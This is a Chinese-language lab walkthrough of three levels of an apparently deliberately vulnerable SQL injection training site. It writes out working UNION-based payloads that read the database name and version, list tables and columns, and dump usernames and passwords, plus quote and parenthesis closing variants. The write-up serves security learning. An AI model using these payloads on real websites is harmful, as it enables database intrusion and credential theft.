Less-2
发现注入点(在参数后面加 ’ 查看页面是否报错,因为无论是字符型还是数字型,都会因为单引号个数不匹配而报错的)
判断sql注入的类型,测试了
?id=1 and 1=1 页面正常
?id=1 and 1=2 页面报错
所以判定这个sql注入为数字型
因为在前面就做过后面的的了,这里就简单写一下:
测量字段:?id=-1 order by x
查看当前的数据库和版本:?id=-1 union select 1,database(),version()
查看当前的数据库的表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”
查看当前的数据库的users表中的列名:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“users”
爆破username和password的数据:?id=-1 union select 1,group_concat(username,‘X’,password),3 from users
Less_03
正常来,首先在参数后面加个单引号 ’ 页面也报错了。
我们看看报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
是可以看到是有个 )没有闭合,那么我将他闭合并配合 and 1=1 看到回显一样的[?id=1’) and 1=1],想到这里,就是后面的没有的括号没有闭合,所以就应该想到去将他注释掉,让sql语句正常执行。后面在这前面两个条件不变的情况下,去测试 and 1=2,页面报错,所以可以猜测源代码是$_GET=('$ID')
的形式。
后面就是正常的猜字段长度,找数据库名,表名,列名,以及最后的爆破字段。(这里就不写了,都是一样的)
最后是完成了,我们在去看看源代码,验证一下自己的猜测:
Less_04
开启新的关卡,发现在参数后加单引号页面正常回显,但是双引号就报错了。
看一下报错内容:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
其中的括号就是和Less_03是一样的意思,但是这里是双引号闭合。猜测源代码是$_GET=("$ID")
这样的形式。 就继续测试:其中 ?id=1") and 1=1 %23 正常回显 ?id=1") and 1=2 %23 页面报错
所以就继续的去猜字段长度,找数据库名,表名,列名,以及最后的爆破字段。(这里就不写了,都是一样的)
完成了,在去看看源代码吧,不知道前面对不对。。